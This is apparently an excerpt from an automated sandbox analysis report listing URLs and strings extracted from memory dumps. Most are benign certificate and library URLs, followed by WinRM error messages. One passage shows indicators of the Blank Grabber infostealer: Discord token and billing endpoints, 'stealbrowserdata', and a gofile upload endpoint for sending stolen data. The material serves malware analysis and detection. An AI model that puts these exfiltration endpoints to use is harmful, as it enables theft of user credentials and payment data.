":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\windows-defender-management-powershell-group-wow64-package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\windows-defender-management-powershell-group-wow64-package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1" Pattern match: "http://cert.startcom.org/policy.pdf05" Heuristic match: "windows-defender-management-powershell-group-package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "windows-defender-management-powershell-group-wow64-package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "ffice.ru" Heuristic match: "t.automation.re" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "w.com/rep" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Heuristic match: "em.management.automation.re" Heuristic match: "ent.au" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\windows-defender-management-powershell-group-package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "osoft.com/pki/do" Pattern match: "icrosoft.com/win" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://support.microsoft.com/?kbid=4055237" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104.&click" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291337%@font-face" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257.s" Pattern match: "http://www.w3.org/xml/1998/namespace..the" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://www.w3.org/1999/xlink.{text" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104" Pattern match: "go.microsoft.com/fwlink/?linkid=109695&result=block&t=%1&url=%2" Pattern match: "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=xyz" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/service" Pattern match: "http://[1::2]:80/wsman" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd" Heuristic match: "for example, for a target computer name myserver.domain.com, the spn can be one of the following: wsman/myserver.domain.com or wsman/*.domain.com"5b:T718a,Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http:m" - Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc1.3.6.1.4.1.311.92.1.11.3.6.1.4.1.311.64.1.1rosophy\g6" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;2.5.29.12.5.4.3bhv*8tpa0$0" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris>microsoft" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr@c" - Source: "00000000-00002000.00000001.177576.64760000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr'" - Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found URL "http://www.w3.org/xml/1998/namespace" - Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006748.00000001.176856.C4932000.00000002.mdmp") Found URL "http://www.gnu.org/licenses/gpl.txt>http://batchloaf.wordpress.com/commandcamthis" - Source: "00000000-00006940.00000000.176844.00821000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006940.00000000.176844.02D40000.00000004.mdmp") Found URL "http://www.gnu.org/licenses/gpl.txt>http://batchloaf.wordpress.com/commandcamthis" - Source: "00000000-00006940.00000000.176844.04BD0000.00000004.mdmp") Found URL "http://www.gnu.org/licenses/gpl.txt>http://batchloaf.wordpress.com/commandcamthis" - Source: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006940.00000001.176861.02D40000.00000004.mdmp") Found URL "http://www.gnu.org/licenses/gpl.txt>http://batchloaf.wordpress.com/commandcamthis" - Source: "00000000-00006940.00000001.176861.04BD0000.00000004.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00007276.00000000.175628.A6230000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00007276.00000000.175628.A6230000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00007276.00000000.175628.A6230000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00007276.00000000.175628.A6230000.00000004.mdmp") Found URL "https://json.org>" - Source: "00000000-00007276.00000000.175628.A6230000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/block_cipher_mode_of_operation" - Source: "00000000-00007276.00000000.175628.A6230000.00000004.mdmp") Found URL "http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);" - Source: "00000000-00007276.00000000.175628.A6230000.00000004.mdmp") Found URL "https://www.python.org/download/releases/2.3/mro/." - Source: "00000000-00007276.00000000.175628.A8300000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/block_cipher_mode_of_operation" - Source: "00000000-00007276.00000000.175628.A8300000.00000004.mdmp") Found URL "http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);" - Source: "00000000-00007276.00000000.175628.A8300000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/3.9/lib/importlib/_bootstrap_external.py" - Source: "00000000-00007276.00000000.175628.A8300000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/cache_replacement_policies" - Source: "00000000-00007276.00000000.175628.A88E0000.00000004.mdmp") Found URL "https://example.com/" - Source: "00000000-00007276.00000000.175628.A88E0000.00000004.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00007276.00000000.175628.A88E0000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00007276.00000000.175628.A88E0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00007276.00000000.175628.A88E0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00007276.00000000.175628.A88E0000.00000004.mdmp") Found URL "https://google.com/mail/" - Source: "00000000-00007276.00000000.175628.A88E0000.00000004.mdmp") Found URL "https://username:password@host.com:80/path?query" - Source: "00000000-00007276.00000000.175628.A88E0000.00000004.mdmp") Found URL "https://json.org>" - Source: "00000000-00007276.00000000.175628.A88E0000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/block_cipher_mode_of_operation" - Source: "00000000-00007276.00000000.175628.A88E0000.00000004.mdmp") Found URL "http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);" - Source: "00000000-00007276.00000000.175628.A88E0000.00000004.mdmp") Found URL "https://github.com/blank-c/blank-grabbervisit_excepthandler_unparser.visit_excepthandler_unparser.visit_classdef_function_helper_unparser.visit_functiondef_unparser._function_helper_unparser.visit_for_unparser.visit_asyncfor_unparser._for_helper_unparser.visit_if_unparser.visit_while_unparser.visit_with_unparser.visit_asyncwithescape_special_whitespace_str_literal_helper_unparser._str_literal_helper_write_str_avoiding_backslashes_fstring_joinedstr_unparser.visit_joinedstr_fstring_formattedvaluevisit_formattedvalue_unparser.visit_formattedvalue_unparser._fstring_joinedstr_fstring_constant_unparser._fstring_constantunknown" - Source: "00000000-00007276.00000000.175628.A8AD0000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/block_cipher_mode_of_operation" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/2192" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "https://foss.heptapod.net/pypy/pypy/-/issues/3539" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "https://json.org>" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "https://example.com/" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "http://hg.python.org/cpython/file/603b4d593758/lib/socket.py" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "http://google.com/')" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "http://google.com/mail/'))" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "http://www.iana.org/assignments/tls-parameters/tls-parameters.xml" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "https://google.com/mail/" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "https://username:password@host.com:80/path?query" - Source: "00000000-00007276.00000000.175628.A8BD0000.00000004.mdmp") Found URL "http://ip-api.com/line/?fields=hostingunable" - Source: "00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp") Found URL "https://gstatic.com/generate_204ping" - Source: "00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp") Found URL "https://discord.com/api/v9/users/@mediscord.gettokens..stealing" - Source: "00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp") Found URL "http://ip-api.com/json/?fields=225545blankgrabber.senddata..**__system" - Source: "00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp") Found URL "https://github.com/blank-c/blank-grabbertrying" - Source: "00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp") Found URL "https://raw.githubusercontent.com/blank-c/blank-grabber/main/.github/workflows/image.pnginternet" - Source: "00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp") Found URL "https://blank-utilitygetrandomstring?s" - Source: "00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp") Found URL "https://api.gofile.io/getserverhttps://" - Source: "00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp") Found URL "https://discordapp.com/api/v9/users/@me/billing/payment-sourceshttps://discord.com/api/v9/users/@me/outbound-promotions/codes==================================================blankgrabber.getdirectorytree..blankgrabber.stealbrowserdata..run..camera.exe" - Source: "00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp") Found URL "http://en.wikipedia.org/wiki/triangular_distribution" - Source: "00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/2680%" - Source: "00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/2168" - Source: "00000000-00007276.00000000.175628.A8ED0000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/3020e()).validate" - Source: "00000000-00007276.00000000.175628.A8ED0000.00000004.mdmp") Found URL "https://www.python.org/dev/peps/pep-0205/\86if:?" - Source: "00000000-00007276.00000000.175628.A8ED0000.00000004.mdmp") Found URL "https://fetching" - Source: "00000000-00007276.00000000.175628.A8ED0000.00000004.mdmp") Found URL "https://urllib3.readthedocs.io/en/latest/advanced-usage.html" - Source: "00000000-00007276.00000000.175628.A8ED0000.00000004.mdmp") Found URL "https://specified" - Source: "00000000-00007276.00000000.175628.A8ED0000.00000004.mdmp") Found URL "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd" - Source: "00000000-00007276.00000000.175628.A8FD0000.00000004.mdmp") Found URL "https://urllib3.readthedocs.io/en/latest/advanced-usage.html" - Source: "00000000-00007276.00000000.175628.A90D0000.00000004.mdmp") Found URL "http://google.com/')" - Source: "00000000-00007276.00000000.175628.A90D0000.00000004.mdmp") Found URL "https://www.openssl.org/filedescriptionopenssl" - Source: "00000000-00007276.00000000.175628.B3B93000.00000004.mdmp") Found URL "https://www.openssl.org/filedescriptionopenssl" - Source: "00000000-00007276.00000000.175628.B3EF4000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00007588.00000001.177431.B1A20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/washington1redmond1microsoft" - Source: "00000000-00007588.00000001.177431.B1DD0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcwwe" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l0l1" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "https://go.microsoft.comjmani" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007588.00000001.177431.CBD40000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00007588.00000001.177431.CC480000.00000004.mdmp") Found URL "http://crl.microsoft1y/crl/products/microocera?y06-23.crl0zn0l0j07z0/k" - Source: "00000000-00007588.00000001.177431.CC480000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007588.00000001.177431.CC480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007588.00000001.177431.CC480000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007588.00000001.177431.D3922000.00000002.mdmp")5c:Tdae,file/memory contains long string with (Indicator: "winrm "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The client certificate exceeded the maximum size allowed by the WinRM service.%n%n User Action %n Please use a different client certificate or a different authentication mechanism." (Indicator: "winrm "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "Request processing failed because the WinRM service cannot load data or event source: DLL="%1" %n%n User Action %n Please check if "%1" exists. %n%n Additional Data %n Loading %1 failed with error="%2" (%%%2)." (Indicator: "winrm "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The WinRM service is unable to start because of a failure during initialization. %n%n Additional Data %n The error code is %1." (Indicator: "winrm "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The WinRM service has received an unsecure HTTP connection from %1. %n%n This is not a secure configuration. %n%n User Action %n Set AllowUnencrypted to False in WinRM configuration to ensure packets are encrypted on the wire." (Indicator: "winrm "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The WinRM service encountered a catastrophic security failure. The service can no longer run under its security context. %n%n User Action %n Stop and restart the WinRM service. %n%n Additional Data %n The error code is %1." (Indicator: "winrm "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The WinRM service cannot migrate the listener with IP address %1, Port %2 and Transport %3. A listener that has Address=%4 and Transport=%5 configuration already exists." (Indicator: "winrm "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The WinRM service cannot migrate the listener with Address %1 